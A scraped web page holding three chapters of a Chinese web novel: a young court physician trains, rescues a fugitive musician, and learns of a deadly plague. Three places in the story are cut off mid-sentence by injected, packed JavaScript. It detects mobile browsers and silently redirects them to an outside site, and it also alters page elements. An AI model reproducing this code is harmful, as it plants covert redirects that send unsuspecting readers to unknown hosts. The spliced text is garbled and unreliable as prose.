叶灼从没想过自己可以因为一个素未谋面的陌生人而泪流不止。或许,她们早就认识了,从旁人每一次阐述里,杨挽仿佛走出画像,就这么活生生站在自己面前。 可她死时,一定比自己此刻还要痛苦上千倍万倍! 甚至,到了最后都没能走出那个狭小的院落,见一眼所爱之人。 叶灼摇着头,止不住哽咽:“哪怕早一点发现也好,早一点意识到也好……” “就算你救了她,以为她就能活下来么?”叶无声面无表情道,“圣人尚救不了芸芸众生,何况医者。让她神志清醒,独自面对这样的过往,她又该何以承受?” 叶灼哑然。可面对她的死,自己难道忍心什么也不做么? “皇城耳目众多,知道得太多,无疑多惹一分危险。脱身所要付出的代价,恐不是你所能承受的。”叶无声递过帕子,肃声道:“活着于她而言,反而是一种折磨。” 叶灼一点点擦去眼泪,道:“我只想知道,是谁将她幽禁于此。” “在你急于求证时,其实心中早有了答案。”他微微前倾,“即使得证,你想怎么做?引蛇出洞?” “我……” “你斗得过那条蛇么?” 叶灼急得转头,静默片刻又低低垂下。 是啊,她该拿什么斗呢? 双拳不停地颤抖,巾帕被攥得发皱。抓得住一切有形之物,唯独抓不住命运,不管是别人的,还是自己的。 身体像被抽空般,徒留深深的无力感。 “人唯有自身能力足够时,才能保护那些想要保护的人和事物。”叶无声轻轻拍她的肩,“为师尚且做不到这一点。所以,首先要让自己强大起来,明白么?” 两人望着杨挽的画像,缄默许久。 叶灼忽然心想,她要是能一直活在画中就好了。没有太子妃身份傍身,只需要做杨挽。 可如今在这世上,她仅剩下女儿一个牵挂,活着会不会也太孤独了呢? 若是被关在牢狱里,好歹有人可以说话解闷,哪怕受皮肉之苦,疼一疼便晕过去了。两眼一睁一闭,永远困在这望不见天日的宅院里,简直比死了还难受。 在叶灼眼里,世上没什么是比孤独更可怕的酷刑了。 “本该是这样温柔的人,究竟遭受过怎样非人的待遇,才变成那副样子呢?” “这就不得而知了。”叶无声道,“许是听了什么不该听的话,又或者什么也没做。仅仅太子妃这个身份,就足以惹来无数旁人的觊觎。” 看来宫廷争斗,远比她想象的要复杂得多。 “我可以把这幅画带走么?”叶灼小声发问。 “作什么用处?” “我想带回去给宋娘,还有小郡主看看。” “可以。”叶无声轻抚她的头,将梧桐花枝递来,由她过去放上。 不用问便知,常来清扫祭奠之人,就是师父不会错了。叶灼对着灵位拜了几拜,不由得多了几分憧憬。 “太子妃娘……”想想觉得不妥,改口道:“杨挽杨宫正。您若在天有灵,请一定要过得平安顺利。来世就投个好胎吧,别再受这么多苦了。待晚辈学有所成之时,必定替您正名。” 叶无声瞧她认认真真对画像说话的模样,既感到一丝欣慰,莫名又觉得有些可爱。 唇角扬起的那抹清浅笑意,连他自己也未曾察觉。 师徒两人就着盏油灯,缓步向屋外。 火光荧荧之中,风带着梧桐花瓣起舞。越过高墙重巷,翩然向远方而去。 正值一更天,夜色静谧。 叶灼回屋后简单梳洗完毕,换了身干净衣裳。叶无声提笔,正襟坐于书案前,写满一纸什么。 蛐蛐儿于笼中吱吱叫着。叶灼出屋时,正望见师父朝自己走来。 “这方药,你暂且吃着。”他和声道,“为师按你的体质调了方子,接下来七日,每日用量多有不一。用法可知道?” 叶灼刚要回答,他不假思索便道:“以水一斗,煮取六升,去滓后加用粳米……” “这些徒儿知道。”她浅浅笑道,拿起扫了一眼。 人参、麦冬益气生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148088|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 津,佐以竹叶、半夏清热除烦……用于气阴两伤者,的确为对症的良药。 叶无声手中动作稍顿。 差些忘了,她已然要十四岁,再不是当年那个需要他照顾的稚童。 眸光不觉微黯,“日内好生休养,早些歇息罢。若没旁的事,为师就先回——” “师父。” 他脚步一顿。 “徒儿还有一事相问。” 联想这几日的曲折经历,她心中不免怅然,“那名撰书人,现在找到了么?” “一位尹姓史官。”叶无声道,“几年前因撰史不肯曲笔,触犯王公利益。后获罪流放,隐于乡野,撰下此书。书中记载较为全面,囊括了一些正史掩埋之事。” 所以,这就是师父将《容国秘史》授予她的理由么? 叶灼紧咬下唇,手指不自觉收紧。 现在,她是看清了更多真相,难受归难受,总好过一叶障目。 “朝廷会如何惩治他?” “依照大容律例,诽谤帝后者,当与欺君同罪,处以斩刑。” 骤然间,感到无边的怆凉。 怆凉是该的。那撰书人在她眼里,和爱编撰故事哄人开心的话本先生,本质没有任何区别。何况史官耗尽心血,毕生所求,不过一个真相。 到底是自己口拙,将其搬上了台面。 “这受刑之人,本该是我才对……”叶灼拼命摇着头,踉跄后退。 泪水再无法抑制,卸了闸般涌出。 “都是我……”呼吸变得沉重,堵在嗓子眼里,憋出一连串咳嗽。 “都是我!如果我没有来上京,如果我好好听师父的话——” 叶无声上来替她拍背,她却像刺猬似的缩成一团,将头埋到双膝间,整个人仿佛失控般。 抱着头不停瑟缩颤抖,一下下抗拒他。 “阿灼……”叶无声皱眉。 “他和杨挽,就都不会死,卫明川也不会获贬,师父也不会有这么多麻烦!许昭昭说得没错,我就是个灾星,我——!” 如果,没有如果。 突然间好恨,恨自己的无力与无能,恨自己身为医者,却谁也救不了、谁也保护不了,还连累一个又一个人蒙难。 甚至,她连自己也保护不了。 “杨挽的死不是你的错!”叶无声一把揽过她,“史官的死也不是你的错,你从来都不是什么灾星!” 他呼吸变得强烈,手中力度越收越紧。 “阿灼,你是我的徒弟。这些都不是你的错……” 也不知是被他箍紧身体,还是因这突如其来的一吓,叶灼突然间不抖了。神经瞬间紧绷,连哭声都咽了回去。 “是为师,为师无能,不能保护好你,还——” 那未能说出口的后半句,却被他生生咽了回去。 叶灼僵直在原地。浑身的血液凝固,只剩下头脑发蒙。 叶无声也跟着惊了。 他在做什么? 42.入世(二) 接下来几个月,叶灼白天研习针法,晚上挑灯夜读。竹苑、书房两点一线,忙得不可开交。 为了弥补文史短板,她先用三五日过了一遍框架,将构建起的知识体系推倒重构。 因为看过《容国秘史》的缘故,再读起正史,老是容易混淆。思来想去,她单独拿来本小册子,将自己印象中的版本抄录下,再对照正史典籍一一做修补。如此几回合下来,非但《容国秘史》的内容不会忘,又能从各方角度出发,形成自己独有的一套见解。 凡遇到什么不懂的,就趁文史课下,询问身为助教的江弗及。 从前自己在文史课上天天瞌睡,现在虚心求教了,她也不吝于答疑解惑。叶灼一边做笔记一边耐心听着,时不时停下来点点头。 不得不说,无论针法还是文史,江小姐一概掌握得很好。讲解虽没什么新意,内容却凝练精简。认真听下来,往往有不少收获。 可惜江小姐来上课的日子屈指可数,偶有那么几日,放课走得比谁都匆忙,总好像有什么急事似的。要是有机会,真想与她多说说话啊。 沈博士倒是十分敬业。任它刮风下雨还是电闪雷鸣,始终雷打不动出现在讲坛上。 那些个医学药理、各式草药的天时地理形色质地,她抄的次数不下百遍,早将这些烂熟于心。为了节省时间,干脆躲在书桌后面,偷摸学点别的。 开始他还会丢来几个白眼,后来实在没法子,也就由着她去了。 其余三位博士,叶灼只在公共课、集会庆典上见到过。 咒禁科的简博士诙谐,喜好引经据典;按摩科严博士古板,只会照着课本念。 至于针科的姜博士,素日极少露面。只记得他是个蓄着山羊须、脾气古怪的老头,由于刚上任太医丞,有很多事要忙,八百年见不上一回。 除了介师姐,令她唯二期待的,当属师父的课。 比之四博士,师父更注重上手实践。为数不多来医科讲学的时候,他会亲自下场指导,并呼吁大家独立思考。 叶灼在太医署待了已有两年。孜孜不倦的努力下,成绩突飞猛进,很快爬到了前几名。 打从罚跪那档子事后,许昭昭总算吃一堑长一智,看见她就像耗子见了猫,避之而不及。 没有这帮人带头排挤,找她问问题、套近乎的同窗越来越多。 若换作从前,叶灼兴许还会高兴一下;可是现在,她不用猜也明白,那些人不过仰仗师父的面子,并非真的看得起自己。 不知从何时起,她的眼里、心里,好像燃烧着一团火。 开始只是一簇小小的火苗,随着见识增长,火势渐旺。越是想要冲破身体,越感觉到深深的压抑。 …… “力量集中于指尖,注意方向和深度。靠近重要脏器须避免直刺深入,做到‘心手合一’。” 这堂课,叶无声讲授九针补泻法。 学子们五人一组,汇集殿内。殿中央摆放有一只针灸用铜人,七尺高,外刻腧穴,其内注水。 每组另分到一只较小的人偶,持针定位,如取穴准确,水则从相应孔眼流出。反之,针无法刺入。 胡广坐在蒲席上捣鼓练习,四个指头都被扎破了,人偶依然毫发无损。 “蠢货,让老子来!”许昭昭看不过去,猛将他推向一边。夺过人偶,自顾自地乱刺一通。 结果用力过猛,针尖回弹扎进皮肉里,疼得他哀嚎连连。 “叶少卿,到底该怎么做啊?”胡广替他拔出那根针,吞吞吐吐发问。 “实操当中,应先判断五脏虚实,后决定补泻方法。有余则泻之,不足则补之。”叶无声踱步审视,目光转向叶灼这边。 胡广揉了揉眼睛,戳戳还在跟铜人拗气的许昭昭。 “干什么?”许昭昭愤愤扭头,这一看更气了。 只见叶灼跟前那只人偶千疮百孔,通体被扎成了刺猬。别的学子还在为找穴位发愁,而她,居然在原地发呆画圈圈! “阿灼,你过来演示一遍。” “是。” 叶灼朝殿侧走来,接过针具。 “胡广,你可看好了,我只示范一遍。” 说话间,她两指捻转交替。 “所谓补泻之法,盛则泻之,虚则补之,热则疾之,寒则留之,陷下则灸之,不盛不虚,以经取之。‘实’则泄以祛邪,‘虚’则补以扶正。譬如心虚之证,取内关、膻中以养心气……” 手法时重时轻,时疾时徐。时而提插如蜻蜓点水,时而辗转如游龙迂回,往那铜人五脏六腑处注入十来针,针针到位,精确无比。 胡广紧随动作左右摆头,全然跟不上她运针的速度。 “……明白了么?” 胡广早就看呆了,大拇指不自觉翘起,被许昭昭一掌打回。 叶灼却步,转而望向叶无声。 他轻轻点头,以示肯定。 “用于封穴的黄蜡没有了,你去市集上购置一些可好?” 叶灼挠了挠头,“师父,您莫不是记错了?阿灼记得,黄蜡库房里明明还有很——” 但见他朝门口使眼色,叶灼明白过来,将后半句咽了回去。 “是,师父!” 他温声道:“快去吧。” 叶灼深深鞠躬,迈着轻快的步子离殿。 丝毫未留意到,身后投来的那道阴鸷的目光。 “瞧她嘚瑟的。被使唤来使唤去还这么高兴,怕不是个傻子。”许昭昭对着人偶乱戳一通。 “老大,我、我怎么觉得……”胡广弱弱道,“咱、咱们看起来更像傻子呢?” 许昭昭拗他耳朵:“你再说一遍,谁是傻子?” 这下子吃痛,胡广连结巴都好一半:“我是傻子,我是傻子!” “再胡说八道,小心你的舌头。”许昭昭狠狠撒手,往地上啐了口唾沫。 “姓叶的,迟早有一日,老子要你吃不了兜着走!” 胡广顾不得耳朵疼,连忙上去捂他的嘴:“嘘,叶少卿还在呢……” 话音刚落,叶无声脚步稍顿。 两人吓得板正身子,大气不敢出。 “完了,这下给他听了去,还不、不知道怎么折磨我们。”胡广小声道。 “老子可什么也没说,问就都是你说的!” “老大你怎么又栽我……噫,他过来了!” 随着影子越来越近,两人背过身去,汗流浃背。 “叶少卿,不好了!”殿外有人来报。 “何事如此匆忙?” “江学官今日自岐州返回,大病不起,情状像是染了瘟疫。” 踟蹰半晌,那人不忍地垂下头,“随行的百名医工,归来者……不上十人!” 此言一出,所有人大骇。 叶无声眉心拧紧,已是极尽忧色。 “带我去看看。” 等他拂袖而去,学子都没了心思作业。殿内如炸了雷般,讨论声此起彼伏。 “怎么会这样?” “瘟疫闹了一年多,按理说早该好了。” “死那么多人,岐州为何一点儿消息都没有?” 许昭昭松了口气,往胡广后脑勺凿了一拳:“没事尽瞎操心!” 与此同时,叶灼换了身衣裳,早已经溜到大街上。 为他们所不知的是,所谓买黄蜡,不过是桩借口。 叶无声帮她逃课的借口。 如今她对针法有了较好掌握,得到一些帮忙做事的机会。加上她每堂课都早早完成任务,无聊得紧,师父便时常睁一只眼闭一只眼,允了她提前放课。 来上京前她不知道,原来全国各地都有午市。 上京城郭分为东西二市,东市因为靠近皇宫,分布有最大的酒楼、茶坊,穿插各大官宅府邸,主要服务达官显贵;西市铺子则种类繁杂,小到花琅、笔行、肉行、铁匠铺,大到食肆、酒肆、当铺、珠宝铺,卖什么的都有,甚至有专门的牛市马市,还有驴市,许许多多的赁驴人牵着毛驴经过。 西市的东西更便宜,人也更多。 故而比起东市,她偏爱往西市跑,绕绕远路也无妨。 “姑娘,出来的时间够久了,我们是不是,该早些回去?” 叶灼举起扇子,往她脑袋上一敲。“叫我什么?” “公子,公子。”晴儿捂着头跟上。 “出门前我就说过,让你别跟着,你非要跟着。难得 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叶灼想起自己现在的身份,拿这个多少有点不合时宜。又不好让她失望,于是点点头。 “哎呀,送给心上人可好!公子既是第一次光顾,今儿不图挣钱,纯卖个好姻缘。”说罢他比了个手势。 “不多不少,二两银子。” “你倒懂得做生意。好,东西我要了。” 付了钱,叶灼将珠花接过,递给晴儿。 晴儿反应过来,惊得摇头:“姑娘,这怎么可以——” “拿着吧。”叶灼说道,“你陪我这么久,凡事总打点得事无巨细,没点回报怎么行?” “可我只是个下人,如此贵重的首饰,晴儿不能收。” “在我面前,不用拿自己当下人。” “这……” “哎呀好啦!我平时不喜欢戴头饰,用着也是浪费。还是留给该受用之人吧。” 左右僵持不下,晴儿将那珠花攥在手心。抿了抿唇,垂下眼帘。 “姑……娘?”小贩道。 二人回头,却见他眼神古怪,从中嗅出丝八卦的味道。 “她的意思是……那个姑娘,也就是我的心上人,怕她不愿收啦!”叶灼挠头道。 “原来是这样。那小的在这里祝公子心想事成,收了咱们的珠花,保准您抱得美人归!” “是是是,借您吉言!”她瞎扯一通,拉起晴儿就跑。 风从耳畔呼啸而过,她们掠过人潮,沿路飞奔。直到离那商贩很远很远,始才停下脚步,扶着墙喘气。 “让人家看去,还以为我们有什么特殊癖好……”叶灼拿扇子扇风,也给她扇了扇。 晴儿意识到刚刚说错了话,脸涨得通红。 “不过,这也不甚奇怪。”叶灼挑了挑眉,“京城里的公子哥儿,不都好清俊小厮么?” 晴儿是个保守性子,此时更是羞恼,对着她一通乱挠。 “姑娘,您就喜欢拿我寻开心!” 叶灼笑得肚子痛,又是打滚又是求饶:“好了好了,姑奶奶,我知错了……” 只听得街道那头传来动静,两人噤了声,同步探出头。 须臾的功夫,主街已是一片狼藉。 街头横七竖八躺着箩筐,瓜果洒落遍地。数不清多少双脚从上踏过,引得污水四溅。 那些脚的主人横冲直撞,嘴里嚷嚷着什么,反观小贩早没了影。 幸好躲进巷子里,要不然,这会子恐怕成了肉泥。 “发生什么事了?” “那些人穿着粉底皂靴,腰间配的不是铁尺就是长刀,一看就是公府的衙役。”晴儿道,“许是缉拿嫌犯也说不定。” 叶灼默默点头,看来全天下官衙都是一种做派。 “快抓住她!” “别让她跑了!” 离他们五尺开外,一名女子提着裙裾狂奔,片刻不敢回头。及腰的垂髻随风扬起,步摇叮铃作响。 因她着一身素色纱裙,又戴有面纱,不太惹眼,需得仔细留神。 “等等,她是……!”叶灼揉了揉眼睛,心下一惊。 43.入世(三) 轻纱女子来不及反应,被她伸出的手生生拽过,急拐入巷中。 叶灼注意到巷子两边的木桶,伸脚用力一踹。 “哗啦——” 层层堆叠的木桶整排倾倒,骨碌碌滚至道路中央。瓜熟蒂落,滚至那为首的衙役脚下。猝不及防地,绊了他一跤。 后头跟来的黄马褂脚步来不及刹住,接二连三踩上去。好几个木桶掀翻在地,什么东西飞溅而出,洒了他们满身。 一股臭气扑鼻而来。叶灼屏住呼吸,差点儿呛咳出声。 有人不确信,提起衣袖闻了闻,五官皱成一团:“头儿,是粪水诶!” 为首的班头摔得又疼又懵,拖着满身秽物。狼狈起身,整张脸黑得可怕。 “谁,干,的?!” 几人被这声怒吼震得一激灵。 那班头生得长鬓断眉,此时鬃毛般根根竖起。从没见过那么凶神恶煞的表情,好像下一秒就要抽出大刀砍人。 叶灼急得抓耳挠腮起来。 晴儿看着比她还着急:“公子,这下该如何是好?” 趁他们还在骂骂咧咧,被发现只有死路一条,得赶紧想办法逃离才是。 环视一圈,这里到处是高不可攀的骑墙飞檐,左右无路可走。 打量了一会儿,目光落于尽头那堵石墙。 “快,跟我来。” 叶灼搬来只木桶垫在墙根部,让晴儿踩上桶顶。双手使力托腰,助她翻过身去。 “唔,好臭。”晴儿捏住鼻子边爬边道。 “忍忍吧,保命要紧。” 轻纱女子站在原地一动不动,因逆着光,看不清她的神色。但见她十指不自觉收起,裙摆被攥紧。 “来啊。”叶灼向她伸出手,目光殷切。 等衙役们怨气冲天赶来,唯独一只木桶横在角落,散发阵阵熏天恶臭。石墙上的窄缝透下光影,勉强容得下一位身形稍瘦的女子,让体胖的人来,却万万不可。 蝇虫盘旋,哪里还有半点人影。 “天杀的!”班头气得摔刀。 从小巷绕到主街还有好长一段时间,叶灼帮她们翻墙后,自己也就势翻了过去。 幸亏墙离地不高,跌不碎骨头。就是自己倒霉了些,屁股着地,有些疼。 回首望去,漆过的朱墙砖瓦,果然同印象中如出一辙。 犹记得刚来京那年,她与卫知瑶同游庙会,于此地看过戏班子搭台演戏。那场傩戏太过于精彩绝伦,当时开山神掉了面具,翻的就是这堵墙。 街道上人声鼎沸,车马熙攘。 晴儿看着眼前街景,下巴都要惊掉。她们刚才还在恶臭腐败的深巷,怎么一个翻身,莫名到了闹市里? “姑娘,您是如何得知,这墙后面连着主街啊?” “这条小巷看似是个死胡同,其实墙后面不是实的。”叶灼淡定道。 “没时间解释了,那帮人追上来容易,快走吧。” 她一手牵过晴儿,另一人的臂腕却像钉在原地般,挪不动分毫。 阳光刺眼,轻纱女子的眉眼却阴郁。适才沉默良久,缓缓开了口:“你们,为何要救我?” 晴儿喏喏指了指身侧。“这事和我没关系啊,你问我家姑——公子去。” 想是一着急忘了交代理由,吓着她了。叶灼从怀中揣出方罗帕,递到她面前。 “这是你的东西吧?” 帕上绣着一头老牛、一只金衣黄鹂,右下角缀有一个“琴”字。 轻纱女子夺过,如获至宝般,喜道:“怎么会在你这里?” 叶灼微微一笑,“两年前的盂兰盆会,你落下的。” 轻纱女子手指轻颤,抚平帕上的褶皱。极为爱惜又或是哀怜地,将它四角对整,叠好收入怀中。 那双眸子盈盈如水,皓皓如月,波澜交织涌动。 叶灼心口一紧。 也不知这物什被赋予了何种意义,竟让她披露这样的神情? “当日你走得匆忙,落在水边的亭榭里。我想这东西兴许对你很重要,便一直留存着,以候时物归原主。”叶灼顿了顿,笑道:“老天有眼,果真又让我碰上了你。” 轻纱女子怔了良久。 瞳孔倒映出的白俊公子哥儿,逐渐与记忆中那个头发凌乱、体型瘦小的鹅黄色身影重叠。 “原来是你呀!”女子眼睛弯起来,上下比划一周。 “那个听曲儿的小女孩,何时长得这般结实了?还摇身一变,成了男子模样?” “……其实我是女儿身啦。”叶灼难为情道,“为了出门方便,才扮成这样的。” “我知道。”她笑了笑。 叶灼“啊”了一声:“姐姐看得出来?” “若有谁粗枝大叶,姑且能被你这身装扮骗到。你我同为女子,怎么会看不出来?” 叶灼脚尖踮了踮地面,微微露怯。看来自己演技还是太过于拙劣。 “而且,天底下哪有男儿郎,生得如你这般细皮嫩肉?” 叶灼嘿嘿一笑,“姐姐说得是,我下次一定拿粉扑一扑。说起来,那些人为何要追杀你啊?” 女子闻言眸光闪烁,如陨星晦暗。 “此事说来话长,恐不是三言两语所能辨明。” “你犯了事么?”叶灼朝她眨眨眼。 手头不经意地,稍稍钳紧了些。 刚刚自己瞧她面善,下意识便出手相救,全然忘了她是通缉犯。不过官衙的人也分好坏,切不可随意下定论,先听听她的解释再说。 “……” 咦,她怎么不说话? 坏了坏了,这么漂亮的姐姐,不会干过什么杀人放火的勾当吧?若真是如此,自己断免不了责任,要把她交回府衙的。 “不是的。”女子回过身,下定某种决心般,“我是逃难至此。” “逃难?” 她轻轻点头,“我姓琴,名子钦,原是河梁的一名乐工。一年前为探访旧友前往岐州,在那里住了些时日。” “琴子钦……”叶灼喃喃道,“是个好名字。” 琴这个姓,她只在史书上见到过。据说前朝有户琴姓世家,家主乐师出身,因琴艺精湛入了宫闱。后来不知犯下什么罪,好像被灭族了。 这世上,居然还有姓琴的人么? 正思索着,身旁的晴儿脸色骤变,将她们交叠的手掰开。 还没明白过来怎么回事,叶灼被拉离十步开外。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226273|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “姑娘您有所不知。”晴儿斜睨她,悄声附耳。“我听宫里的嬷嬷说,从岐州出来的人都染了病,不干净……还是离她远些的好。” 似是看出她的疑虑,琴子钦解释道:“你们别误会。早在时疫发生前,我就已经离开岐州了。” “谁知你说的是真是假!”晴儿扭头,满脸写着嫌恶。 琴子钦眸光微黯。也不作过多解释,识趣退了退。 “晴儿。”叶灼眼神嗔怪,缓步走过去。 “这丫头说话直了些,绝没有恶意。有什么苦衷,子钦姐姐尽管说,”叶灼轻抚她的肩。“或许有我能帮上忙的。” “你帮不了我的。”她摇了摇头,心渐渐往下沉去。 回想起那日历经山道,所见景象之惨烈。 那个村子,那么多的死人。横尸遍地,哀鸿遍野…… 她倏地睁眼,心脏猛烈抽搐了一下。 眼前是人来人往,一派和乐安宁。再平常不过的街景,与之碰撞,显得无比割裂。 琴子钦深吸一口气,接着道:“当初瘟疫还未蔓延街坊四邻,我连夜驱车,出了岐州地界。未料这一年,西北瘟疫闹得越发严重,竟从岐州接连扩散至凉州。我的家乡回不去了,只好来上京,投奔故人。” “时疫再怎么严重,朝廷派去那么多医官,应该很快就能治理好的。”叶灼道。 琴子钦微微皱眉,“我走的第二日,官府始才放马后炮,要求留地察看。现在未经允许私自出城的,全被下了缉捕令。” “既如此,你为何不跟他们折返呢?” “折返?”她苦笑,“得知消息时,我已经离开数日,并未出现染病征兆。衣服也烧完了,回去做什么?” “染病与否,仅凭肉眼不好判断。”叶灼脚步迈进,“朝廷这么做也是为了保护百姓,即便回去,他们定会将你妥善安置的。” 保护百姓? 琴子钦摇了摇头,有些荒诞莫名。 “若回那个地方,我只有死路一条。” “那也不能拉我们跟你一起死啊!”晴儿急得站出身。 叶灼皱着眉瞪她一眼:“晴儿,别这样说。” 琴子钦瞧过来,两眼含笑,却显得分外诡谲悲凉。 “况且,朝廷派过去的人全都死了。我们这些布衣百姓,活路又在哪里?” 话音刚落,叶灼倒退半步。 “你……说什么?” “医官们,全都死了?” 面纱下的脸若隐若现,染上几分自嘲:“原以为岐州的消息传到上京,或许有迟缓、有曲解,大致意思到了便可。现在看来,是根本传不出去。” 叶灼呼吸一滞,全身的血液仿佛凝在嗓子眼里。 怎么会这样? 岐州时疫严重到那种地步,为何上京一点儿消息也没有? …… 太医署派去的百名医工,怎么会都死了呢? 姜博士不是说绰绰有余么? …… 若真如她所言,古川离阳陵郡不远,难道也受了波及? 江师兄,也不知江师兄怎么样了。 还有小豆子,沈大娘,阿缇嬷嬷……李伯会不会也!? 44.入世(四) 叶灼使劲甩头,摆脱混乱的思绪:“子钦姐姐,你伸一只手来可好?” “伸手?”琴子钦不解,“做什么?” “我家姑娘是太医署学子,懂得摸脉。”晴儿扬起下巴,“她要你伸手,自是要查你的脉象了。” 琴子钦下意识后退几步,手腕往袖中缩了缩。 “你就别忸怩了,让我家姑娘瞧瞧,也好让大家安心啊。”晴儿双手抱臂,微眯起眼,“你该不会是心虚吧?” “我……我没有。” 见她面露警惕,许是有猫腻。叶灼小心翼翼凑近,“子钦姐姐,职责所需,我须得确保你没有染病。” 琴子钦退无可退,别过身去,刻意避免视线交锋。 “你是怕我拿你报官?”叶灼摇了摇头,“姐姐请放心,来京一趟不易,若你并无大碍,我不会为难你的。” 只听得巷子那头传来一阵躁动,脚步声层层迭起,以迅雷不及掩耳之势袭来。有人高喊:“官衙的抓人来了!”小贩们即刻推车收摊,作鸟兽散。 几颗白瓜车轱辘似地滚至脚边,被人群踩得稀碎。 “不好,是刚刚那些衙役。” 不等琴子钦反应,叶灼飞快将三指覆于她寸口,屏息凝神。 那只手臂明显抖了一下。叶灼在她身上来回扫视了几次,琴子钦长睫扑簌着,蝶翼般轻轻扇动,连带脉象都有些急。 分明是常人的平脉,为何她看起来这样紧张呢? 片刻后,叶灼松开手,道:“可以了。” 晴儿这才放下些防备,琴子钦亦是舒了口气。 “我和晴儿作掩护,趁他们还没注意,你快走吧。” “姑娘二次相救,子钦感激不尽,只是还不知道姑娘姓名……” “我叫叶灼。报恩什么的就不必了,帮你是我自己的决定。” 琴子钦掩紧面纱,最后望了眼挡在身前的背影。面对这陌生的好意,鼻尖有些微微发酸。 “……谢谢。”她轻声喃了句。 衙役们一阵风似的呼过,琴子钦已然不知去向。叶灼拉晴儿躲进巷旁的板车下,侥幸逃过一劫。 回去这一路,二人全然没有了心思闲逛。 叶灼脚步片刻未停,晴儿一路小跑气喘吁吁:“姑娘,人家说什么你就信什么,万一她是信口胡诌呢?” “她既未染病,身上又没有携带武器,一时半会没什么要紧。我们既知晓她的身份,找她也容易。况且若不是她,我们何以得知岐州的消息?” “您这多管闲事的爱好,什么时候能改改……” “你爱跟就跟不跟就回去。” “哎,等等我!” 刚到太医署,叶灼到府库拿了些黄蜡,直奔适才上课的癸殿。身后的晴儿早就跟没了影。 “师父!”她火急火燎闯入,“你要的黄蜡,我带回——” 刚踏进殿,登时蒙圈。 可容百人的大殿内,针灸用的人偶、教具散落满地。分明还没到放课时间,同窗们不见了,师父也不见了,不知道的,还以为这里刚刚被洗劫一空。 “人呢?”叶灼放下瓶罐,举目四顾。 正巧见一男子经过门前,脚步匆匆往壬殿方向去。 叶灼赶忙追上去:“陈登师兄!” 此人名唤陈登,长她一级。为人勤恳老实,时常被沈博士点名办事。因为与介师姐是同窗,叶灼对他有些印象。 “是叶师妹啊,怎么了?” 叶灼直奔主题:“师父去哪儿了?” “叶少卿正在尚药局。今日江学官自岐州归来,不小心染了瘟疫。” 叶灼心头一惊,“严重么?” “这个么……挺严重的。” “那同行的医工呢?” “这个么……” “别这个那个了,你快说啊!”叶灼逮住他追问。 “叶少卿、叶少卿让我暂时不要外传。”陈登被她摇得眼冒金星,转而又道:“不过你是他的徒弟,应该不算别人……” 叶灼用力点几下头,松开衣领。 陈登抹了把汗,拿她没办法:“我说与你听,可别到处宣扬。” “放心吧师兄,我一定不说出去。” 他于是左右张望一遭,附耳过来。 “此次赴往岐州援灾,与江学官同行的百名医工,回来的只有十个。其余的……都死了。” “什么?!” “啧!你小点儿声。” 叶灼不好意思地拍了拍嘴,惭赧致歉。 看来琴子钦说的是真的,江师兄和百名医工去了都难以应付,岐州瘟疫定然十分严重。她咬着手指思虑片刻,旋即转身。 “哎,叶师妹!” “怎么了?” “师兄劝你一句,你这会儿就算去了,也未必见得着人。” “为什么?” “尚药局这会儿围着一堆人呢,只有叶少卿和几个打下手的在里面,别人都进不去。此次瘟灾非同小可,没有十天半个月,估计是出不来。” “这我明白,多谢师兄。”她随手作揖,马不停蹄往尚药局方向去。 陈登远远地楞头观望,怎么感觉她根本没听进去?算了算了,自己还要办正事,随她去罢。 尚药局有专门用于安置患者的病坊,素日收纳宫人,依照病情危重程度,分为子、丑、寅、卯四个等级。 叶灼沿路询问,得知江枫被安置于子殿。她对附近布局比较熟悉,没一会儿就找到了路。 远远地听见一阵喧哗,两道熟悉的身影围在殿前。 “痢疾怎么会咯血呢?!”介铃双手撑在阑干上,情绪似有些激动。 叶灼挤进人群,“介师姐,瑶姐姐!” 卫知瑶在一旁安慰,闻声转头,招呼她过来。 “江师兄怎么样了?”叶灼急切发问。 “江枫……江枫他……”介铃哽咽地说不出话,两眼红肿,看样子不久前哭过。 叶灼又是担忧又是心疼,不知该说什么,只好攥紧她的手。 “我们也不清楚。”卫知瑶表情凝重地道,“叶少卿还有温太医正在殿内望诊,目前还没有结果。” 想来她们都已经知道瘟疫的事,自己来晚了一步。眼下除了干等,竟也没有别的办法。 人群四散,围观者所剩无几。旁人大都只是来凑热闹,很快瞌睡的瞌睡,等不下的扫兴离去。 唯独三人在心中暗暗祈祷。 眼前屹立的大殿,不仅关系江枫的性命,也关乎那十名医工。他们或是别人的父母、孩子,或是谁的爱人,如今却被迫与家人分离,饱受病痛折磨。 早在丹青阁时,叶灼数次从阎王爷手里抢人,见过太多生老病死。人命几斤几两,她比谁都要明白。 虎口处传来柔软的触感。 回过神,才发现卫知瑶覆上她的手,因为太过心焦如焚,手指不知何时搓破了皮。 “叶少卿已经派人去通报沈博士了,相信不久便会补派人员去岐州。” 知她言下之意是在安抚自己,叶灼黯淡点点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 